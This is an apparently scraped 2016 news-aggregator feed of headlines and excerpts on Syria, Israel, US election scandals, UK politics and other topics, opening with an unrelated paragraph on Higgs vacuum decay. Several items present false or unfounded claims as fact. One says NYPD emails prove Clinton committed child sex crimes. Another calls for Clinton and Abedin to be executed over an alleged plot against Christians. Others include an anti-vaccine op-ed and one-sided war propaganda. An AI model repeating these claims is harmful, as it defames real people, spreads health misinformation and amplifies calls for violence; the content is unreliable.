Theoretical physicist Joseph Lykken says it would probably take billions of years before we reach that point. Lykken hails from the Fermi National Accelerator Laboratory in Batavia, Illinois. If it did happen though, you wouldn’t know it. One instant you are here, the next, you and everything else is swallowed up by an enormous vacuum bubble, traveling at light speed in every direction. Humanity would never see it coming.

Peter Higgs and colleagues first theorized the existence of the Higgs boson in 1964. The Large Hadron Collider (LHC) at CERN in Geneva, Switzerland finally discovered it in 2012. With this missing piece found, three of the four fundamental forces of nature become complete. The particle’s measured value is 126 billion electron volts. That’s 126 times a proton’s mass. This is just enough to maintain a state teetering near the edge of stability.

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20:46

Peak Oil Review: A Midweek Update - 3rd Nov 2016 "IndyWatch Feed Economics"

A midweek update. Oil prices continued to fall this week, capped by a precipitous drop after the EIA said US crude stocks had increased the most since record keeping began in 1982.

20:46

Debt Rattle November 3 2016 "IndyWatch Feed Economics"

Lewis Wickes Hine Berrie pickers, Seaford, Delaware. ’17 children and 5 elders live here’ 1910 • S&P 500 Logs Longest Losing Streak Since 2011 (CNBC) • EU Plans New Rules To Cap US, UK’s £440bn Per Day Derivatives Business (Ind.) • Vancouver Home Sales Plunge 39% as New Rules Chill Market (BBG) • Clinton Foundation

The post Debt Rattle November 3 2016 appeared first on The Automatic Earth.

20:45

It’s Not a “Housing Crisis” for Everyone "IndyWatch Feed Economics"

It’s Not a “Housing Crisis” for Everyone

It’s Not a “Housing Crisis” for Everyone The demographic shift behind the high-rent phenomenon Renters have long struggled with soaring rents in some of the top housing markets in the US. In San Francisco, it’s called the “Housing Crisis” because middle-class households, such as teachers, can no longer afford to rent – with the median one-bedroom…

The post It’s Not a “Housing Crisis” for Everyone appeared first on The Daily Coin.

20:43

Western leaders grow deaf to Israeli abuses "IndyWatch Feed Europe"

israelis-arrest-palestinian-toddlerBy Jonathan Cook in Nazareth

Israel has just emerged from its extended, three-week high holidays, a period that in recent years has been marked by extremist religious Jews making provocative visits to the Al-Aqsa mosque compound in occupied East Jerusalem.

Many go to pray, in violation of Israel’s international obligations. Most belong to groups that seek the mosque’s destruction and replacement with a Jewish temple – and now enjoy support from within the parliament, including from Prime Minister Binyamin Netanyahu’s party.

A rash of such visits last autumn outraged Palestinians and triggered a wave of so-called “lone-wolf” attacks on Israelis. The attacks only recently abated.

Powerlessness, oppression, humiliation

Taking advantage of the renewed quiet, Israel allowed a record number of ultra-nationalists to visit the mosque, figures released last week show.

Parties of Israeli soldiers are also now entering the site.

The police, whose recently appointed commander is himself from the extremist settler community, has recommended too that restrictions be ended on visits by Jewish legislators who demand Israel’s sovereignty over the mosque.

Israel’s treatment of this supremely important Islamic holy site symbolises for Palestinians their powerlessness, oppression and routine humiliation. Conversely, a sense of impunity has left Israel greedy for even more control over Palestinians.

The gaping power imbalance was detailed last month at special hearing of the United Nations Security Council. Hagai El-Ad, head of B’tselem, which monitors the occupation, termed Israel’s abuses as “invisible, bureaucratic, daily violence” against Palestinians exercised from “cradle to grave”.

He appealed to the international community to end its five decades of inaction. “We need your help… The occupation must end. The UN Security Council must act. And the time is now,” he said.

Israeli politicians were incensed. El-Ad had broken one of Israel’s cardinal rules: you do not wash the country’s dirty linen abroad. Most Israelis consider the occupation and Palestinian suffering as purely an internal matter, to be decided by them alone.

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20:43

The Syrian War To Free Itself From The Evil US/Israel/NATO Criminal Cabal: Some Great News – Criminal US Mercenaries Unable To Break Aleppo Siege – Operatives In Aleppo Now Doomed! "IndyWatch Feed World"

By Gordon

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November 2, 2016

I decided to take yesterday off for a bit of catching up on other projects… Again, I do my best to try to put up articles here daily, but my personal life does take precedence….

Over the last week, we all were aware of the “counter-offensive” launched by the US/Israel bought and paid for mercenaries and murderers called “Al Nusra” in an attempt to break the Syrian government’s stranglehold on the last remaining “terrorists” and “rebels” still holed up in eastern Aleppo…. These criminals were armed with the latest US weapons and there indeed was some fear that this attack would be successful, and that it may prevent the fall of Aleppo itself….

Well, I do have some great news…. For according to the following link to an important report from the South Front website, at www.southfront.org, apparently this “counter-offensive” has now turned into a dismal failure! First I have the link to that article for everyone to see for themselves, and I do have my usual thoughts and comments to follow:

https://southfront.org/syrian-war-report-october-31-2016-al-nusra-led-forces-failed-to-break-aleppo-siege/

NTS Notes: Yes, this is fantastic news… For it proves that even with the latest and greatest US weapons available, these “terrorists” can not break the siege in Aleppo….

Apparently after some initial success on attacks on the Syrian government forces in the western side of Aleppo, these mercenaries have been soundly beaten back, and the Syrian government forces are now retaking much of the limited territory these frauds were able to gain….

It does appear now that unless the US can indeed get a new “false flag” going somewhere to blame both Syria and Russia, their operatives in Aleppo are now doomed… The criminals holed up in the eastern side of the city have now almost run out of ammunition and even food supplies… It will only be a matter of time now that they will have to either surrender, or starve to death….

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20:42

‘European Union pressure causes torture of refugees in Italy’ "IndyWatch Feed Africa"

This Ugandan TV video says about itself:

AMNESTY REPORTS HORRIFIC REFUGEE ABUSE IN LIBYA

2 July 2016

Amnesty International, the UK-based human rights organisation, has documented horror stories of migrants and refugees who faced killings, torture, rape and starvation – mostly at the hands of traffickers in Libya.

The report, released on Friday, was based on interviews with more than 90 refugees and migrants at reception centres in the Italian cities of Puglia and Sicily who had made the journey across the Mediterranean Sea from Libya over the past few months.

Translated from Dutch NOS TV:

Amnesty: EU pressure on Italy leads to ill-treatment of refugees

Today, 00:01

The European Union pressure on Italy in the reception of refugees leads to human rights violations. That said Amnesty in a report. The organization speaks of beatings, intimidation and imprisonment.

Europe began in 2015 with the ‘hotspot’ approach. Refugees had to be identified at different locations (hotspots) in the EU. Their fingerprints had to be recorded. In the...

20:42

Mummy’s Yum: How to make Stuffed Nigerian Yam Balls "IndyWatch Feed Africa"

Stuffed Nigerian Yam Balls are a little variation of my yam croquette in terms of shape and content. This is stuffed with minced meat which will surely make it extra yummy for the kids. This will make a good handy breakfast with pap or custard and as well a lunchbox meal for school kids. It […]

20:41

Ex-Nigerian Customs Boss, Abdullahi Dikko, Returns Over N1Billion In Cash To Federal Government "IndyWatch Feed Africa"

Had to really stretch, when I saw this.. What, returned over a billion Naira? How? Where? For real, an ex-Customs boss?? These were the questions I asked myself after stretching, lol.. Hmmm.. May God HELP Nigeria!!  

A former Comptroller-General of the Nigeria Customs Service, Alhaji Abdullahi Dikko, has returned N1,040,000, 000 to the Federal Government.

A reliable source within the EFCC told Punch that the suspect had been returning money to the government. The source added, ''So far, Dikko has returned over N1bn. He returned N1bn and then N4m. He is still expected to return more money.''

It would be recalled that Dikko served as the head of customs between August, 2009 and August, 2015 and became the subject of an EFCC investigation last year when the commission established that about N40bn was diverted from the coffers of the NCS under his watch.

20:41

Taliban Quick To Take Afghan Education Back To Soviet-Era “CIA Textbook” Standards "IndyWatch Feed War"

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The Schools of the Taliban

the diplomat

Two years ago, the Taliban paid a visit to 13-year-old Jamal’s* school in the northern province of Kunduz in Afghanistan. His village had been taken over by the insurgents. “They spoke with the school’s principal and a few teachers about the curriculum,” Jamal recounts. As a result, three subjects – English, sports, and social studies – were dropped and replaced with religious studies. Today, the village remains under Taliban control and Jamal only rarely goes to school.

The city of Kunduz, capital of the province of the same name, came under heavy assault from the Taliban on October 3, only a year after it had been briefly captured by the group. Although the Afghan security forces managed to regain control of the city, the situation outside the provincial capital has been worrying for years, with some areas completely under Taliban control.

The security situation in all of Afghanistan has been growing more dire in recent years, and the Taliban now control the highest amount of districts in the country since 2001. In these areas, the Taliban have long been implementing...

20:40

Chilcot: Blair went ‘beyond the facts’ & damaged UK politics when advocating for Iraq invasion "IndyWatch Feed War"

Blair went ‘beyond the facts’ & damaged UK politics when advocating for Iraq invasion – Chilcot Former British PM Tony Blair resorted to rhetoric unsupported by any compelling evidence when he promoted the Iraq invasion to his cabinet and the British people, eroding public trust and inflicting long-term damage on UK politics, Sir John Chilcot […]

20:34

Your Money or Your Life: What’s Behind the Latest Government Scam to Rob You Blind? "IndyWatch Feed World"

By Gordon

The hold-up / Albert Levering.

September 13, 2016

“The fact is that the government, like a highwayman, says to a man: Your money, or your life. And many, if not most, taxes are paid under the compulsion of that threat. The government does not, indeed, waylay a man in a lonely place, spring upon him from the road side, and, holding a pistol to his head, proceed to rifle his pockets. But the robbery is none the less a robbery on that account; and it is far more dastardly and shameful.”—Lysander Spooner, American abolitionist and legal theorist

If a cop wrongfully attacks you, you cannot fight back.

If a SWAT team wrongfully raids your home, you cannot defend yourself.

If a highway patrol officer wrongfully takes your money or your valuable possessions, you cannot get them back without a lengthy, costly legal battle.

It used to be that the Constitution served as a bulwark against government abuses, excesses and wrongdoing.

That is no longer the case.

Having been reduced to little more than a historic document, the Constitution now provides scant protection against government abuses, misconduct and corruption.

Not only are “we the people” painfully vulnerable to the whims of any militarized cop on the beat, but we are also sitting targets for every government huckster out to fleece the taxpayer of their hard-earned dollars.

We get taxed on how much we earn, taxed on what we eat, taxed on what we buy, taxed on where we go, taxed on what we drive, and taxed on how much is left of our assets when we die.

Because the government’s voracious appetite for money, power and control has grown out of control, its agents have devised other means of funding its excesses and adding to its largesse through taxes disguised as fines, taxes disguised as fees, and taxes disguised as toll...

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20:33

Syria's Endgame Is Under Way. Is America Ready? "IndyWatch Feed Asia"

Is the table being set for a grand, realpolitik-based cessation of the fighting in Syria? And does the recent political deal in Lebanon both provide a workable template for a solution?

20:31

Journey To Aleppo Part II: The REAL Syria Civil Defense & Aleppo Medical Association Are Real Syrians Helping Real Syrians "IndyWatch Feed Politics.us"

One of the “homes” occupied by the Nusra Front in the Sheikh Maqsoud region of Aleppo. (Photo: Vanessa Beeley)
Vanessa BeeleyMint Press
Vanessa Beeley meets with members of the Syria Civil Defense and the Aleppo Medical Association, who shed more light on the mainstream media lies distorting the public’s perception of what’s really happening in Syria.
Editor’s Note: This article is the second in a two-part series of one Western journalist’s journey to Aleppo, a city ravaged by an insurgency supported by the United States, NATO member states, and their allies in the Gulf states and Israel.
In Part I, Vanessa Beeley lays out

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20:31

71 Rare And Exclusive Pictures Of The Royal Kids "IndyWatch Feed Nthamerica"

The world just can’t get enough of the royal family. Now that the family has two adorable babies, we just can’t keep the cameras from rolling. Take a look at some of the most adorable photos of the newest royal Princess Charlotte and Prince George at different occasions.

1. Prince George’s third birthday

1The little prince is pictured at his third birthday party. He is photographed offering his pet dog Lupo some ice-cream on a picnic blanket at the royal family’s Norfolk home. .

20:31

‘Validly Predicated Investigation’: Reports Prove FBI ‘Aggressively Investigating’ Clinton Foundation For Potential Pay To Play Crimes "IndyWatch Feed War"

Breitbart, by Matthew Boyle, November 2, 2016: NEW YORK CITY, New York — A pair of reports out on Wednesday evening from two of the nation’s biggest broadcasters brings gloomy news for the already hurting presidential campaign of Democratic nominee … Continue reading

20:30

This is not a new Cold War "IndyWatch Feed Politics.eu"

me.jpgFresh talk of a new Cold War between Russia and the west relies on outdated thinking and ignores new realities.

 

lead Both Gorbachev and Reagan were involved in creating "dialogue" between the Soviet Union and the US during the late 1980s. (c) Mark Lennihan / AP / Press Association Images. All rights reserved.Against the background of worsening relations between Moscow and Washington over Russia’s war on Ukraine and its military support for Assad’s regime in Syria, recent reports from Russia give the impression that the country is preparing for a war with the west. 

These reports have led some experts and political commentators to claim that Russia and the west are now engaged in a new cold war. The latter concept is not new. In 2003, for example, Michael Klare argued that the world was witnessing the beginning of a new cold war in south-central Eurasia between the US on the one hand and Russia and China on the other. The sheer amount of references to this concept today, as well as mentions of Russian nuclear capabilities, reflects a growing trend to interpret Russia’s actions in the Cold War frame. 

Indirectly, Russia threatened the US with nuclear weapons already in March 2014, right after the illegitimate referendum in Russia-occupied Crimea. At that time, Dmitry Kiselyov, head of the Russian Federal State News Agency “Rossiya Segodnya” (“Russia Today”, not to be confused with the RT TV channel), mentioned during one of his shows that Russia was the only country in the world capable of turning the US into radioactive dust. Kiselyov was sanctioned by the EU and Canada a few days after this statement. 

The Russian authorities are vitally interested in promoting the idea of a new cold war with the west for domestic and foreign policy interests

At the time, Kiselyov’s statement appeared a one-off act of impudence, but the most recent developments suggest a more worrying picture. At the end of September this year, representatives of Russia’s Ministry of Emergency Situations reported that they had checked all the bomb shelt...

Western leaders grow deaf to israel’s abuses "IndyWatch Feed War"

Western leaders grow deaf to Israeli abuses   By Jonathan Cook in Nazareth Israel has just emerged from its extended, three-week high holidays, a period that in recent years has been marked by extremist religious Jews making provocative visits to the Al-Aqsa mosque compound in occupied East Jerusalem. Many go to pray, in violation of […]

20:30

'My family has gone': Iraqi troops find deserted villages on road to Mosul "IndyWatch Feed War"

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IS has forced thousands of villagers into Mosul to act as human shields, leaving swaths of Nineveh empty and families searching for loved ones

20:29

Secret Emails From Hillary Clinton Reveal: There Is A Very Powerful Circle Of People Ruling Over Hillary Who Hate Christians And Who Are Now Executing A Plan To Annihilate Christians And Advance Islam "IndyWatch Feed Nthamerica"

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Reading through Hillary and her ‘gang’ leaked emails, gives us a picture as to how America’s foreign policy was run, a policy that nearly wiped out Christians from the Middle East. Looking through Hillary’s email shows a gang bent on destroying the Middle East. It was as if a college Muslim Student Association (which Huma Abedin was member) took over the realm of power, not just any power, but the most powerful nation on earth, where all policy was directed by a handful ring of revolutionary students, who thought that the Middle East needed a facelift,  and the only method was to start revolutions. The tragic part is that what you will read here is no fantasy or a simple school project, it is a reality that caused global destruction. It is in fact the prelude to World War III.

Feast your eyes into the secret workings of the Hillary band-of-trouble makers. You will only conclude that Hillary Clinton and her aide, Huma Abedin, should not just be imprisoned, but should face the execution by lethal injection for all the crimes they have committed against humanity.

Reading through the volume of emails makes the operation easy to comprehend. A handful of opportunists with spy-huma continually flatter Hillary. Huma closely watches her confused buffoon boss and they all feed her daily dosages of unreliable information to form her mind by exerting undue influence. At times Huma even tells Hillary what time to “take a nap”. Huma even disclosed to another opportunist staffer that their boss is ‘Often Confused’.

Of course, with a confused boss, Abedin had access to Hillary’s Secretary of State email address that was not even secure using her email server to read everything coming in and everything going out. All this, regardless that she had no clearance to operate under such capacity. How she collected 650,000 emails does not take a rocket scientist to calculate.

20:29

How Neocons Got ISIS Wrong, Too "IndyWatch Feed Asia"

As Islamic State loses ground in Iraq and Syria, earlier demands from Official Washington’s neocons for a major reintroduction of U.S. troops appear to be just the latest misjudgment of these war hawks, as ex-CIA analyst Paul R. Pillar explains...

20:29

The Rise of Mandatory Vaccinations Means the End of Medical Freedom "IndyWatch Feed World"

November 1, 2016   |   Shaun Bradley


(
ANTIMEDIA Op-Ed) Mandatory vaccinations are about to open up a new frontier for government control. Through the war on drugs, bureaucrats arbitrarily dictate what people can and can’t put into their bodies, but that violation pales in comparison to forcibly medicating millions against their will. Voluntary and informed consent are essential in securing individual rights, and without it, self-ownership will never be respected.
The liberal stronghold of California is trailblazing the encroaching new practice and recently passed laws mandating that children and adults must have certain immunizations before being able to attend schools or work in certain professions. The longstanding religious and philosophical exemptions that protect freedom of choice have been systematically crushed by the state.
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20:29

Linux in 2016 Catches up to Solaris... From 2004 "IndyWatch Feed Tech"

Submitted via IRC for TheMightyBuzzard

Veteran dev says timed sampling's arrival in Berkeley Packet Filter makes Linux 4.9 a match for Solaris' DTrace

In 2004 former Reg hack Ashlee Vance brought us news of DTrace, a handy addition to Solaris 10 that "gives administrators thousands upon thousands of ways to check on a system's performance and then tweak ....production boxes with minimal system impact". Vance was excited about the code because "it can help fix problems from the kernel level on up to the user level."

Vance's story quoted a chap called Brendan Gregg who enthused about [the] tool after using it and finding "... DTrace has given me a graph of a hundred points that leaves nothing to the imagination. It did more than just help my program, it helped me understand memory allocation so that I can become a better programmer."

[...] As Gregg explains on his blog, Linux has had plenty of tracing tools for a long time, but they were miscellaneous kernel capabilities rather than dedicated tools and didn't match DTrace's full list of functions. But over time developers have worked on further tracing tools and Facebook developer Alexei Starovoitov recently offered up some enhancements to the Linux kernel that Gregg feels mean it now matches DTrace.

Gregg reckons Starovoitov's contribution, plus efforts like the bcc project he's worked on will offer Linux users their best ever chance to conduct really detailed tracing of Linux.

[...] Gregg's post has oodles more detail about DTrace's long history, plus links a-plenty to tools you can use to employ the tool.

Source: http://www.theregister.co.uk/2016/11/01/linux_in_2016_catches_up_to_solaris_from_2004/


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20:28

BREAKING BOMBSHELL: NYPD Blows Whistle on New Hillary Emails: Money Laundering, Sex Crimes with Children, Child Exploitation, Pay to Play, Perjury "IndyWatch Feed World"

By Gordon

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November 2, 2016

New York Police Department detectives and prosecutors working an alleged underage sexting case against former Congressman Anthony Weiner have turned over a newly-found laptop he shared with wife Huma Abedin to the FBI with enough evidence “to put Hillary (Clinton) and her crew away for life,” NYPD sources told True Pundit.

NYPD sources said Clinton’s “crew” also included several unnamed yet implicated members of Congress in addition to her aides and insiders.

The NYPD seized the computer from Weiner during a search warrant and detectives discovered a trove of over 500,000 emails to and from Hillary Clinton, Abedin and other insiders during her tenure as secretary of state. The content of those emails sparked the FBI to reopen its defunct email investigation into Clinton on Friday.

But new revelations on the contents of that laptop, according to law enforcement sources, implicate the Democratic presidential candidate, her subordinates, and even select elected officials in far more alleged serious crimes than mishandling classified and top secret emails, sources said. NYPD sources said these new emails include evidence linking Clinton herself and associates to:

  • Money laundering
  • Child exploitation
  • Sex crimes with minors (children)
  • Perjury
  • Pay to play through Clinton Foundation
  • Obstruction of justice
  • Other felony crimes

NYPD detectives and a NYPD Chief, the department’s highest rank under Commissioner, said openly that if the FBI and Justice Department fail to garner timely indictments against Clinton and co- conspirators, NYPD will go public with the damaging emails now in the hands of FBI Director James Comey and many FBI field offices.

“What’s in the emails is staggering and as a father, it turned my stomach,” the NYPD Chief said. “There is not going to be any Houdini-like escape from what we found. We have copies of everything. We will ship them to Wikileaks or I will personally hold my own press conference if it comes to that.”

The NYPD Chief said once Comey saw the alarming c...

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20:27

Uncomfortable assumptions about security: the UK vote on support for Saudi Arabia "IndyWatch Feed Politics.eu"

Pervasive and problematic assumptions about the UK’s security lie at the heart of parliament’s recent decision to continue to support Saudi Arabia, despite accusations of war crimes in Yemen.

Air strike in Sana'a, Yemen. Ibrahem Qasim/Flickr

On Saturday 8th October, more than 140 people were killed and over 500 injured when warplanes bombed a funeral in the Yemeni capital, Sana’a. In the words of one rescuer, “The place has been turned into a lake of blood.” The airstrike, which was quickly attributed to Saudi Arabia’s military, prompted brief sparks of international outrage as civilians were once again targets in a war which has killed more than 10,000 people. The Saudi authorities later confirmed that the strike was a “deliberate error”. Those who pay greater heed to the Geneva Conventions, the so-called “Laws of War” that govern the conduct of armed conflict, might more accurately describe it as a war crime.

So how is it that less than one month later, MPs in Westminster voted last week against a Labour motion calling on the UK government to withdraw its support for the Saudi-led coalition? What arguments could possibly justify the decision made by 283 MPs to continue to back a government which stands accused, not just once but on repeated occasions over the last 18 months, of deliberately targeting civilians and civilian infrastructure?

Bombed...

20:27

The way the poor are being scapegoated in this country should be a national disgrace. David Icke latest headlines

‘When Osborne was in office he, Cameron and IDS cut well in excess of £20bn from welfare. They were all crowing about this during the last general election. They were all telling us that they were making work pay. What they were not crowing about however was that the savings made from welfare during their time in office were not used to pay down the deficit. No these savings were in fact used in order to give tax cuts to those a lot further up the tree. Tax cuts like cutting the top rate of income tax by 5% and reducing corporation tax to it’s lowest ever level. So in essence what Osborne and co did was to take from the poor and then give what was taken to those a lot lot further up the income scale.’ Read more: The way the poor are being scapegoated in this country should be a national disgrace.

20:23

Election pantomime: Trump calls Clinton ‘totally unhinged’ "IndyWatch Feed War"

Trump calls Clinton ‘totally unhinged’ US Republican presidential nominee Donald Trump addresses supporters at a rally in Miami, Florida on November 2, 2016. (Photo by AFP) US Republican presidential candidate Donald Trump has ratcheted up his war of words against Democratic nominee Hillary Clinton as Election Day draws closer. Speaking to his supports at a […]

20:23

In which I have to debunk a second time "IndyWatch Feed Tech"

So Slate is doubling-down on their discredited story of a secret Trump server. Tip for journalists: if you are going to argue against an expert debunking your story, try to contact that expert first, so they don't have to do what I'm going to do here, showing obvious flaws. Also, pay attention to the data.


The experts didn't find anything

The story claims:

"I spoke with many DNS experts. They found the evidence strongly suggestive of a relationship between the Trump Organization and the bank".
No, he didn't. He gave experts limited information and asked them whether it's consistent with a conspiracy theory. He didn't ask if it was "suggestive" of the conspiracy theory, or that this was the best theory that fit the data.

This is why "experts" quoted in the press need to go through "media training", to avoid getting your reputation harmed by bad journalists who try their best to put words in your mouth. You'll be trained to recognize bad journalists like this, and how not to get sucked into their fabrications.


Jean Camp isn't an expert

On the other hand, Jean Camp isn't an expert. I've never heard of her before. She gets details wrong. Take for example in this blogpost where she discusses lookups for the domain mail.trump-email.com.moscow.alfaintra.net. She says:
This query is unusual in that is merges two hostnames into one. It makes the most sense as a human error in inserting a new hostname in some dialog window, but neglected to hit the backspace to delete the old hostname.
Uh, no. It's normal DNS behavior with non-FQDNs. If the lookup for a name fails, computers will try again, pasting the local domain on the end. In other words, when Twitter's DNS was taken offline by the DDoS attack a couple weeks ago, those monitoring DNS saw a zillion lookups for names like "www.twitter.com.example.com".

I've reproduced this on my desktop by configuring the suffix moscow.alfaintra.net.



I then pinged "mail1.trump-email.com" and captured the packets. As you can see, after the initial lookups fail, Windows tried appending the suffix.

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20:19

US War in Afghanistan Silently Slips into the Abyss "IndyWatch Feed Asia"

342342131231Despite the United States being engaged in what it calls “reconstruction” in Afghanistan, quarterly reports on their progress doing so reveals expanding violence and deepening poverty.

Washington Times in an article titled, “Afghanistan failures rising, progress eroding 15 years after U.S. intervention,” reports that:

Opium production is up 43 percent in Afghanistan, the economy is struggling and the government has lost ground to insurgents over the last year, according to an inspector general’s report released Sunday that shows ongoing failures overshadowing the few signs of hope.

Indeed, every quarter, the “Special Inspector General for Afghanistan Reconstruction,” or SIGAR, submits a report to the US Congress regarding US activities in Afghanistan regarding “reconstruction.”

In reality, it is not only an audit that provides insight into America’s ongoing, now 15 year long military occupation of Afghanistan, but reveals the very nature of this so-called “reconstruction” process. It is one that ensures inevitably whatever regime sits in Kabul remains entirely dependent on the United States, on immense funding from abroad and amid a conflict that seems only to expand as US troops “drawdown.” It also depicts an immensely ineffective “reconstruction” process, riddled with corruption and unsustainable programs that is creating a nation according to US interests, with institutions built by and for America’s own endgame, not that of the Afghan population’s future.

It also reveals the role of organizations like USAID, depicted as rendering aid to foreign nations, while in reality overseeing an empire of corrupt contractors pursuing ineffective programs amid an unraveling nation.

Building a Nation in Wall Street’s Dysfunctional, Unsustainable Image

One of the benefits of destroying an entire nation is the opportunity to rebuild it precisely how the conqueror desires. SIGAR reports, including the most recent, provid...

20:18

What Possible Good Are Taxpayers If They Can’t Keep Prince Andrew’s Daughters In Luxury – Well I Ask You David Icke latest headlines

‘Campaign group Republic has called on MPs to launch a full-scale investigation into the royal expenses scandal. The call follows reports that Prince Andrew is demanding more money from the taxpayer, to fund his daughters’ lifestyles. A demand by the Duke of York for his daughters to be funded by the taxpayer has been rejected by the Queen. Eugenie currently works for a London art gallery while Beatrice has been jobless since July. In his letter to the Queen, Andrew, 56, also demanded they get new pads at Kensington Palace, instead of their “small” shared flat at St James’s Palace. Prince Andrew is ranked number one as the highest paid princes for the year 2013 with an estimated net worth of $82 million but believes the tax payers of Britain owe his daughters a living which should include them living in luxury.’ Read more: What Possible Good Are Taxpayers If They Can’t Keep Prince Andrew’s Daughters In Luxury – Well I Ask You

20:16

Egypt floats currency and raises interest rates in face of economic crisis "IndyWatch Feed Africa"

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The move, likely to see the pound devalued by 50 percent against the dollar, meets a key IMF demand in return for a $12bn loan

20:15

Defence Minister Fallon declares UK ready for war with Russia "IndyWatch Feed World"

By Gordon

Pictured left-right: UK Prime Minister Theresa May and Russian President Vladimir Putin. Photo: AP / Reuters
By Robert Stevens
3 November 2016

Speaking to Parliament’s Defence Committee, Conservative Defence Minister Michael Fallon declared that the UK’s armed forces would be prepared for a military conflict with Russia as soon as 2018.

Fallon was giving evidence to the committee as part of its review into how the 2015 Strategic Defence and Security Review affects the Army. His statement was prompted by an observation by Conservative Defence Committee member James Gray, who noted that in a book published earlier this year retired British general Sir Richard Shirreff had predicted a possible war with Russia in 2017. Shirreff was NATO’s deputy supreme allied commander in Europe between 2011 and 2014.

Gray also pointed to a letter published by Shirreff in Monday’s Times in which he warned that the military encirclement of Russia had to proceed more rapidly. “Last week’s defence ministers’ meeting in Brussels heard further announcements of the make-up of the forward presence [in the Baltic States and eastern Poland], but the reality is that there will be nothing on the ground until the late spring, nearly a year after the announcement was made,” Shirreff wrote. “What matters now is putting in place, as rapidly as possible, a defensive capability that can fight, and therefore deter, any Russian adventurism; a task for one of the many NATO Rapid Deployment Corps?”

While replying that Shirreff’s book was “very good”, Fallon replied, “I don’t agree that war with Russia is likely next year. I think that is too extreme.”

Fallon added, “We have seen much greater Russian aggression this year, and in previous years, in terms of long-range aviation, in terms of submarine activity, and the carrier task group that sailed through our waters, the role of Russia in Syria, and elsewhere. But I don’t think that presages an open conflict next year.”

Having cautioned against Shirreff’s scenario of imminent war, however, Fallon then stated that the UK armed forces would soon be fully prepared to participate in a military conflict with Russia. Pressed if the UK would be ready for war with Russia in 2018, or 2019, Fallon replied, “Yes, we would be ready to increase the tempo in that kind of situation, which I don’t immediately foresee.”

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20:15

If Hillary Clinton Is Charged With Obstruction Of Justice She Could Go To Prison For 20 Years "IndyWatch Feed Economics"

Hillary Clinton Is Charged With Obstruction

If Hillary Clinton Is Charged With Obstruction Of Justice She Could Go To Prison For 20 Years In the world of politics, the cover-up is often worse than the original crime.  It was his role in the Watergate cover-up that took down Richard Nixon, and now Hillary Clinton’s cover-up of her email scandal could send…

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20:14

Britain had zero influence on US-led Iraq War, admits top UK diplomat David Icke latest headlines

‘Despite wishing to appear as America’s top ally, Britain exerted no influence whatsoever over US aims in Iraq and merely ended up being a “second class” partner with no say in planning or policymaking, according to one of the UK’s most senior diplomats. Sir Jeremy Greenstock, a former UK ambassador to the UN, sets out his arguments in a new book titled ‘Iraq: the Cost of War’ and a lengthy interview with the Guardian.’ Read more: Britain had zero influence on US-led Iraq War, admits top UK diplomat

20:12

Liberty & Patriot Stations of Panda Power Being Completed in Bradford County, PA "IndyWatch Feed Enviro"

Liberty Station, Panda Power, 829 MW

Marcellus Shale power plant(s) commissioned in Bradford County

From an Article by Marie Cusick, NPR StateImpact PA, October 28, 2016

State Sen. Gene Yaw (R- Bradford) spoke Thursday at the commissioning of a new gas power plant. State and local officials celebrated the commissioning  of what’s been dubbed the first “Marcellus Shale” power plant.

The Liberty Power Plant in Bradford County is one of three natural gas plants being built in Pennsylvania by Panda Power Funds, a private equity firm based in Dallas, Texas. The company plans to commission its sister plant, the Patriot, in Lycoming County November 16. Both 829 megawatt plants came online in July and can provide enough power for up to 1 million homes.

“Both plants were specifically put where they are because of the proximity to the Marcellus Shale,” says Panda Power Funds spokesman Bill Pentak.

“It’s a great way to take our gas and make it value-added and send electricity out of our county,” says Bradford County Commissioner Doug McLinko (R). “It’s terrific.”

The third project is the 1,124 megawatt Hummel Station plant, in Sunbury, Northumberland County. It involves re-purposing an old coal-fired plant, and is part of a broader shift, as the nation’s power grid moves away from coal, toward more natural gas and renewable energy.

“That’s about 20 percent complete,” says Pentak, who expects Hummel Station to come online in the first quarter of 2018. ”It’s one of the largest coal-to natural gas power replacement projects in the U.S.”

UGI Energy Services is currently constructing the Sunbury Pipeline, a 20-inch line that will travel 35 miles from Lycoming County to feed Marcellus Shale gas into the Hummel Station plant....

20:11

Steal This Show S02E05: Trolling For Justice "IndyWatch Feed Tech"

If you enjoy this episode, consider becoming a patron and getting involved with the show. Check out Steal This Show’s Patreon campaign: support us and get all kinds of fantastic benefits!

stslogo180In this episode we meet Mike Bonanno, aka Igor Vamos, one half of the dynamic, culture jamming activist duo The Yes Men. To date, they’ve produced three films: The Yes Men (2003), The Yes Men Fix the World (2009) and The Yes Men Are Revolting (2014).

In these films, they impersonate entities that they dislike, a practice that they call “identity correction”. In reality The Yes Men are maybe the original mass media trolls,  having successfully flummoxed the BBC, Chamber of Commerce, and even George W. Bush. But it’s trickery for good causes, from raising awareness around the Bhopals disaster to global warming.

After a news roundup from Jamie (AT&T/Time Warner merger, Pirate Party showing in Iceland elections, and copyright lobbies going after core Internet infrastructure) the episode explores the increasing power of media activists and the capacity figures like Julian Assange and Edward Snowden have to affect the political stage. It’s a  bumper episode of STEAL THIS SHOW, weighing in at about 1hr 15mins. Some fun topics:

  • The origins of The Yes Men in a bizarre, pornographic, surrealist piece of videogame sabotage;
  • The Yes Men’s dubious claim to be the internet’s Original Trolls.;
  • Trolling George W. Bush as a claim to fame;
  • How to knock billions of dollars off  Fortune 100 company;
  • The perils of liberating porn, and why you just do not (ahem) fuck with Big Porno;
  • What it’s like to visit Julian Assange at the Ecuadorian Embassy.

Steal This Show aims to release bi-weekly episodes featuring insiders discussing copyright and file-sharing news. It complements our regular reporting by adding more room for opinion, commentary and analysis.

The guests for our news discussions will vary and we’ll aim to introduce voices from different backgrounds and persuasions. In addition to news, STS will also produce features interviewing some of the great inn...

20:09

Feel sorry for new MI5 chief Andrew Parker, same day he issued his press release about Russia’s interference in UK the FBI were debunking claims of Russian involvement "IndyWatch Feed War"

‘Is Boris Johnson also a Kremlin puppet?’ Moscow asks UK spy chief After MI5 chief Andrew Parker accused Moscow of using underhanded tactics to destabilize Britain, the Russian Foreign Ministry’s Zakharova hit back, asking if he also sees “the hand of the Kremlin in the appointment of Boris Johnson as head of the Foreign Office?” […]

20:08

The Only Way to Save the World is to Save Yourself David Icke latest headlines

